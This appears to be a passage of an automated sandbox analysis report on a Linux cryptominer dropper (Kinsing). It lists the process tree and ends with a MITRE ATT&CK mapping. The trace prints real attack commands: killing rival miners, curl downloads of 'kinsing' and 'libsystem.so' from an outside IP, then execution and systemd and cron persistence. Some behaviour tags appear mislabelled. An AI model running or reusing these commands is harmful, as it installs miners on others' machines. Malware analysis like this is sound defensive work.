  grep "Cli start accept"
  2⤵
  PID:2007
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:2006
- /bin/grep
  grep -v grep
  2⤵
  PID:2013
- /bin/grep
  grep "bash -k"
  2⤵
  PID:2012
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2014
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2015
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:2011
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2019
- /bin/grep
  grep -v grep
  2⤵
  PID:2018
- /bin/grep
  grep perfctl
  2⤵
  PID:2017
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2020
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:2016
- /usr/bin/pkill
  pkill -f hezb
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:2021
- /usr/bin/pkill
  pkill -f /tmp/.out
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:2022
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2026
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2027
- /bin/grep
  grep -v grep
  2⤵
  PID:2025
- /bin/grep
  grep ./ll1
  2⤵
  PID:2024
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:2023
- /bin/grep
  grep -v grep
  2⤵
  PID:2030
- /usr/bin/awk
  awk "{if(\$3>80.0) print \$2}"
  2⤵
  PID:2031
- /bin/grep
  grep agetty
  2⤵
  PID:2029
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2032
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:2028
- /usr/bin/pkill
  pkill -f 42.112.28.216
  2⤵
  - Reads CPU attributes
  PID:2033
- /bin/grep
  grep 207.38.87.6
  2⤵
  PID:2035
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:2037
- /bin/grep
  grep -v -
  2⤵
  PID:2038
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:2036
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2039
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:2042
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:2043
- /bin/grep
  grep 23.94.214.119
  2⤵
  PID:2041
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2045
- /bin/grep
  grep -v -
  2⤵
  PID:2044
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:2048
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:2049
- /bin/grep
  grep -v -
  2⤵
  PID:2050
- /bin/grep
  grep 127.0.0.1:52018
  2⤵
  PID:2047
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2051
- /bin/grep
  grep 34.81.218.76:9486
  2⤵
  PID:2053
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:2054
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:2055
- /bin/grep
  grep -v -
  2⤵
  PID:2056
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2057
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:2060
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:2061
- /bin/grep
  grep 42.112.28.216:9486
  2⤵
  PID:2059
- /bin/grep
  grep -v -
  2⤵
  PID:2062
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2063
- /usr/bin/pkill
  pkill -f .git/kthreaddw
  2⤵
  - Reads CPU attributes
  PID:2064
- /usr/bin/pkill
  pkill -f 80.211.206.105
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:2065
- /usr/bin/pkill
  pkill -f 207.38.87.6
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:2066
- /usr/bin/pkill
  pkill -f p8444
  2⤵
  - Reads CPU attributes
  PID:2067
- /usr/bin/pkill
  pkill -f supportxmr
  2⤵
  - Reads CPU attributes
  PID:2068
- /usr/bin/pkill
  pkill -f monero
  2⤵
  - Reads CPU attributes
  PID:2069
- /usr/bin/pkill
  pkill -f kthreaddi
  2⤵
  - Reads CPU attributes
  PID:2070
- /usr/bin/pkill
  pkill -f srv00
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:2071
- /usr/bin/pkill
  pkill -f /tmp/.javae/javae
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:2072
- /usr/bin/pkill
  pkill -f .javae
  2⤵
  - Reads CPU attributes
  PID:2073
- /usr/bin/pkill
  pkill -f .syna
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:2074
- /usr/bin/pkill
  pkill -f xmm
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:2075
- /usr/bin/pkill
  pkill -f solr.sh
  2⤵
  - Reads CPU attributes
  PID:2076
- /usr/bin/pkill
  pkill -f /tmp/.solr/solrd
  2⤵
  - Reads CPU attributes
  PID:2077
- /usr/bin/pkill
  pkill -f /tmp/javac
  2⤵
  - Reads CPU attributes
  PID:2078
- /usr/bin/pkill
  pkill -f /tmp/.go.sh
  2⤵
  - Reads CPU attributes
  PID:2079
- /usr/bin/pkill
  pkill -f /tmp/.x/agetty
  2⤵
  - Reads CPU attributes
  PID:2080
- /usr/bin/pkill
  pkill -f /tmp/.x/kworker
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:2081
- /usr/bin/pkill
  pkill -f c3pool
  2⤵
  - Reads CPU attributes
  PID:2082
- /usr/bin/pkill
  pkill -f /tmp/.X11-unix/gitag-ssh
  2⤵
  - Reads CPU attributes
  PID:2083
- /usr/bin/pkill
  pkill -f /tmp/1
  2⤵
  - Reads CPU attributes
  PID:2084
- /usr/bin/pkill
  pkill -f /tmp/okk.sh
  2⤵
  - Reads CPU attributes
  PID:2085
- /usr/bin/pkill
  pkill -f /tmp/gitaly
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:2086
- /usr/bin/pkill
  pkill -f /tmp/.x/kworker
  2⤵
  - Reads CPU attributes
  PID:2087
- /usr/bin/pkill
  pkill -f 43a6eY5zPm3UFCaygfsukfP94ZTHz6a1kZh5sm1aZFB
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:2088
- /usr/bin/pkill
  pkill -f /tmp/.X11-unix/supervise
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:2089
- /usr/bin/pkill
  pkill -f /tmp/.ssh/redis.sh
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:2090
- /bin/grep
  grep -v grep
  2⤵
  PID:2093
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:2091
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2095
- /bin/grep
  grep ./udp
  2⤵
  PID:2092
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2094
- /bin/sed
  sed -i "s/^0//" /tmp/.X11-unix/01
  2⤵
  - Removes the immutable protection flag from a file
  PID:2096
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2098
- /bin/cat
  cat /tmp/.X11-unix/01
  2⤵
  PID:2097
- /bin/sed
  sed -i "s/^0//" /tmp/.X11-unix/11
  2⤵
  - Removes the immutable protection flag from a file
  PID:2099
- /bin/cat
  cat /tmp/.X11-unix/11
  2⤵
  PID:2100
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2101
- /bin/sed
  sed -i "s/^0//" /tmp/.X11-unix/22
  2⤵
  - Removes the immutable protection flag from a file
  PID:2102
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2104
- /bin/cat
  cat /tmp/.X11-unix/22
  2⤵
  PID:2103
- /bin/sed
  sed -i "s/^0//" /tmp/.systemd.1
  2⤵
  - Removes the immutable protection flag from a file
  PID:2105
- /bin/cat
  cat /tmp/.systemd.1
  2⤵
  PID:2106
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2107
- /bin/sed
  sed -i "s/^0//" /tmp/.systemd.2
  2⤵
  - Removes the immutable protection flag from a file
  PID:2108
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2110
- /bin/cat
  cat /tmp/.systemd.2
  2⤵
  PID:2109
- /bin/sed
  sed -i "s/^0//" /tmp/.systemd.3
  2⤵
  - Removes the immutable protection flag from a file
  PID:2111
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2113
- /bin/cat
  cat /tmp/.systemd.3
  2⤵
  PID:2112
- /bin/cat
  cat /tmp/.systemd.1
  2⤵
  PID:2114
- /bin/cat
  cat /tmp/.systemd.2
  2⤵
  PID:2115
- /bin/cat
  cat /tmp/.systemd.3
  2⤵
  PID:2116
- /bin/sed
  sed -i "s/^0//" /tmp/.pg_stat.0
  2⤵
  - Removes the immutable protection flag from a file
  PID:2117
- /bin/cat
  cat /tmp/.pg_stat.0
  2⤵
  PID:2118
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2119
- /bin/sed
  sed -i "s/^0//" /tmp/.pg_stat.1
  2⤵
  - Removes the immutable protection flag from a file
  PID:2120
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2122
- /bin/cat
  cat /tmp/.pg_stat.1
  2⤵
  PID:2121
- /bin/sed
  sed -i "s/^0//" /data/./oka.pid
  2⤵
  - Removes the immutable protection flag from a file
  PID:2123
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2125
- /bin/cat
  cat /data/./oka.pid
  2⤵
  PID:2124
- /bin/sed
  sed -i "s/^0//" /tmp/.ICE-unix/d
  2⤵
  - Removes the immutable protection flag from a file
  PID:2126
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2128
- /bin/cat
  cat /tmp/.ICE-unix/d
  2⤵
  PID:2127
- /bin/sed
  sed -i "s/^0//" /tmp/.ICE-unix/m
  2⤵
  - Removes the immutable protection flag from a file
  PID:2129
- /bin/cat
  cat /tmp/.ICE-unix/m
  2⤵
  PID:2130
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2131
- /usr/bin/pkill
  pkill -f zsvc
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:2132
- /usr/bin/pkill
  pkill -f pdefenderd
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:2133
- /usr/bin/pkill
  pkill -f updatecheckerd
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:2134
- /usr/bin/pkill
  pkill -f cruner
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:2135
- /usr/bin/pkill
  pkill -f dbused
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:2136
- /usr/bin/pkill
  pkill -f bashirc
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:2137
- /usr/bin/pkill
  pkill -f meminitsrv
  2⤵
  - Reads CPU attributes
  PID:2138
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2142
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2143
- /bin/grep
  grep -v grep
  2⤵
  PID:2141
- /bin/grep
  grep ./oka
  2⤵
  PID:2140
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:2139
- /bin/grep
  grep -v grep
  2⤵
  PID:2146
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2147
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2148
- /bin/grep
  grep "postgres: autovacum"
  2⤵
  PID:2145
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  PID:2144
- /bin/grep
  grep -v "\\["
  2⤵
  PID:2152
- /bin/grep
  grep -v bin
  2⤵
  PID:2151
- /usr/bin/awk
  awk "length(\$1) == 8"
  2⤵
  PID:2150
- /bin/grep
  grep -v "("
  2⤵
  PID:2153
- /bin/grep
  grep -v php-fpm
  2⤵
  PID:2154
- /bin/ps
  ps ax -o "command,pid" -www
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:2149
- /bin/grep
  grep -v proxymap
  2⤵
  PID:2155
- /bin/grep
  grep -v postgres
  2⤵
  PID:2156
- /bin/grep
  grep -v postgrey
  2⤵
  PID:2157
- /bin/grep
  grep -v kinsing
  2⤵
  PID:2158
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2159
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2160
- /bin/grep
  grep -v bin
  2⤵
  PID:2163
- /bin/grep
  grep -v "\\["
  2⤵
  PID:2164
- /usr/bin/awk
  awk "length(\$1) == 16"
  2⤵
  PID:2162
- /bin/grep
  grep -v "("
  2⤵
  PID:2165
- /bin/grep
  grep -v php-fpm
  2⤵
  PID:2166
- /bin/ps
  ps ax -o "command,pid" -www
  2⤵
  - Reads CPU attributes
  PID:2161
- /bin/grep
  grep -v proxymap
  2⤵
  PID:2167
- /bin/grep
  grep -v postgres
  2⤵
  PID:2168
- /bin/grep
  grep -v postgrey
  2⤵
  PID:2169
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2170
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2171
- /bin/grep
  grep -v "\\["
  2⤵
  PID:2175
- /bin/grep
  grep -v bin
  2⤵
  PID:2174
- /bin/grep
  grep -v "("
  2⤵
  PID:2176
- /bin/grep
  grep -v php-fpm
  2⤵
  PID:2177
- /usr/bin/awk
  awk "length(\$5) == 8"
  2⤵
  PID:2173
- /bin/grep
  grep -v proxymap
  2⤵
  PID:2178
- /bin/ps
  ps ax
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:2172
- /bin/grep
  grep -v postgres
  2⤵
  PID:2179
- /bin/grep
  grep -v postgrey
  2⤵
  PID:2180
- /usr/bin/awk
  awk "{print \$1}"
  2⤵
  PID:2181
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2182
- /bin/grep
  grep /tmp/sscks
  2⤵
  PID:2185
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2186
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:2187
- /bin/grep
  grep -v grep
  2⤵
  PID:2184
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  PID:2183
- /usr/bin/awk
  awk "{ print \$1 }"
  2⤵
  PID:2191
- /usr/bin/md5sum
  md5sum /etc/data/kinsing
  2⤵
  PID:2190
- /bin/rm
  rm -rf /etc/data/kinsing
  2⤵
  PID:2192
- /bin/chmod
  chmod 777 /etc/data/kinsing
  2⤵
  - File and Directory Permissions Modification
  PID:2193
- /usr/bin/curl
  curl -o /etc/data/kinsing http://78.153.140.16/kinsing
  2⤵
  PID:2194
- /bin/chmod
  chmod +x /etc/data/kinsing
  2⤵
  - File and Directory Permissions Modification
  PID:2195
- /usr/bin/awk
  awk "{ print \$1 }"
  2⤵
  PID:2199
- /usr/bin/md5sum
  md5sum /etc/data/kinsing
  2⤵
  PID:2198
- /usr/bin/awk
  awk "{ print \$1 }"
  2⤵
  PID:2203
- /usr/bin/md5sum
  md5sum /etc/data/libsystem.so
  2⤵
  PID:2202
- /bin/chmod
  chmod 777 /etc/data/libsystem.so
  2⤵
  - File and Directory Permissions Modification
  PID:2204
- /usr/bin/curl
  curl -o /etc/data/libsystem.so http://78.153.140.16/libsystem.so
  2⤵
  PID:2205
- /bin/chmod
  chmod +x /etc/data/libsystem.so
  2⤵
  - File and Directory Permissions Modification
  PID:2206
- /usr/bin/awk
  awk "{ print \$1 }"
  2⤵
  PID:2210
- /usr/bin/md5sum
  md5sum /etc/data/libsystem.so
  2⤵
  PID:2209
- /bin/chmod
  chmod 777 /etc/data/libsystem.so
  2⤵
  - File and Directory Permissions Modification
  PID:2211
- /usr/bin/curl
  curl -o /etc/data/libsystem.so http://78.153.140.16/libsystem.so
  2⤵
  PID:2212
- /bin/chmod
  chmod +x /etc/data/libsystem.so
  2⤵
  - File and Directory Permissions Modification
  PID:2213
- /usr/bin/awk
  awk "{ print \$1 }"
  2⤵
  PID:2217
- /usr/bin/md5sum
  md5sum /etc/data/libsystem.so
  2⤵
  PID:2216
- /bin/rm
  rm -rf /tmp/kdevtmpfsi
  2⤵
  PID:2218
- /bin/chmod
  chmod 777 /etc/data/kinsing
  2⤵
  - File and Directory Permissions Modification
  PID:2219
- /bin/chmod
  chmod +x /etc/data/kinsing
  2⤵
  - File and Directory Permissions Modification
  PID:2220
- /etc/data/kinsing
  /etc/data/kinsing
  2⤵
  PID:2221
- /usr/bin/id
  id -u
  2⤵
  PID:2223
- /bin/systemctl
  systemctl enable bot
  2⤵
  - Enumerates kernel/hardware configuration
  PID:2224
- /bin/systemctl
  systemctl start bot
  2⤵
  - Enumerates kernel/hardware configuration
  PID:2237
- /bin/sed
  sed /base64/d
  2⤵
  PID:2242
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2243
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2241
- /bin/sed
  sed /_cron/d
  2⤵
  PID:2245
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2246
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2244
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2249
- /bin/sed
  sed /31.210.20.181/d
  2⤵
  PID:2248
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2247
- /bin/sed
  sed /update.sh/d
  2⤵
  PID:2251
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2252
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2250
- /bin/sed
  sed /logo4/d
  2⤵
  PID:2254
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2255
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2253
- /bin/sed
  sed /logo9/d
  2⤵
  PID:2257
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2258
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2256
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2261
- /bin/sed
  sed /logo0/d
  2⤵
  PID:2260
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2259
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2264
- /bin/sed
  sed /logo/d
  2⤵
  PID:2263
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2262
- /bin/sed
  sed /tor2web/d
  2⤵
  PID:2266
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2267
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2265
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2270
- /bin/sed
  sed /jpg/d
  2⤵
  PID:2269
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2268
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2273
- /bin/sed
  sed /png/d
  2⤵
  PID:2272
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2271
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2276
- /bin/sed
  sed /tmp/d
  2⤵
  PID:2275
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2274
- /bin/sed
  sed /zmreplchkr/d
  2⤵
  PID:2278
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2279
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2277
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2282
- /bin/sed
  sed /aliyun.one/d
  2⤵
  PID:2281
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2280
- /bin/sed
  sed /3.215.110.66.one/d
  2⤵
  PID:2284
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2285
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2283
- /bin/sed
  sed /pastebin/d
  2⤵
  PID:2287
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2288
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2286
- /bin/sed
  sed /onion/d
  2⤵
  PID:2290
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2291
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2289
- /bin/sed
  sed /lsd.systemten.org/d
  2⤵
  PID:2293
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2294
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2292
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2297
- /bin/sed
  sed /shuf/d
  2⤵
  PID:2296
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2295
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2300
- /bin/sed
  sed /ash/d
  2⤵
  PID:2299
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2298
- /bin/sed
  sed /mr.sh/d
  2⤵
  PID:2302
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2303
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2301
- /bin/sed
  sed /185.181.10.234/d
  2⤵
  PID:2308
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2309
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2307
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2312
- /bin/sed
  sed /localhost.xyz/d
  2⤵
  PID:2311
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2310
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2315
- /bin/sed
  sed /45.137.151.106/d
  2⤵
  PID:2314
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2313
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2318
- /bin/sed
  sed /111.90.159.106/d
  2⤵
  PID:2317
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2316
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2321
- /bin/sed
  sed /github/d
  2⤵
  PID:2320
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2319
- /bin/sed
  sed /bigd1ck.com/d
  2⤵
  PID:2323
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2324
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2322
- /bin/sed
  sed /xmr.ipzse.com/d
  2⤵
  - System Network Configuration Discovery
  PID:2326
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2327
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2325
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2330
- /bin/sed
  sed /185.181.10.234/d
  2⤵
  PID:2329
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2328
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2333
- /bin/sed
  sed /91.241.19.134/d
  2⤵
  PID:2332
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2331
- /bin/sed
  sed /122.51.164.83/d
  2⤵
  PID:2335
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2336
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2334
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2339
- /bin/sed
  sed /185.191.32.198/d
  2⤵
  PID:2338
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2337
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2342
- /bin/sed
  sed /newdat.sh/d
  2⤵
  PID:2341
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2340
- /bin/sed
  sed /lib.pygensim.com/d
  2⤵
  PID:2344
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2345
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2343
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2348
- /bin/sed
  sed /t.amynx.com/d
  2⤵
  PID:2347
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2346
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2351
- /bin/sed
  sed /update.sh/d
  2⤵
  PID:2350
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2349
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2354
- /bin/sed
  sed /systemd-service.sh/d
  2⤵
  PID:2353
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2352
- /bin/sed
  sed /pg_stat.sh/d
  2⤵
  PID:2356
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2357
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2355
- /bin/sed
  sed /sleep/d
  2⤵
  PID:2359
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2360
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2358
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2363
- /bin/sed
  sed /oka/d
  2⤵
  PID:2362
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2361
- /bin/sed
  sed /linux1213/d
  2⤵
  PID:2365
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2366
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2364
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2367
- /bin/sed
  sed "/#wget/d"
  2⤵
  PID:2368
- /usr/bin/crontab
  crontab -
  2⤵
  PID:2369
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2372
- /bin/sed
  sed "/#curl/d"
  2⤵
  PID:2371
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2370
- /bin/sed
  sed /zsvc/d
  2⤵
  PID:2374
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:2375
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2373

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

Shared Modules

T1129

Persistence

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Create or Modify System Process

T1543

Systemd Service

T1543.002

Hijack Execution Flow

T1574

Dynamic Linker Hijacking

Scheduled Task/Job

T1053

Cron

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Sudo and Sudo Caching

T1548.003

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Create or Modify System Process

T1543

Systemd Service

T1543.002

Hijack Execution Flow

T1574

Dynamic Linker Hijacking

Scheduled Task/Job

T1053

Cron

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Sudo and Sudo Caching

T1548.003

Deobfuscate/Decode Files or Information

T1140

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Hijack Execution Flow

T1574

Dynamic Linker Hijacking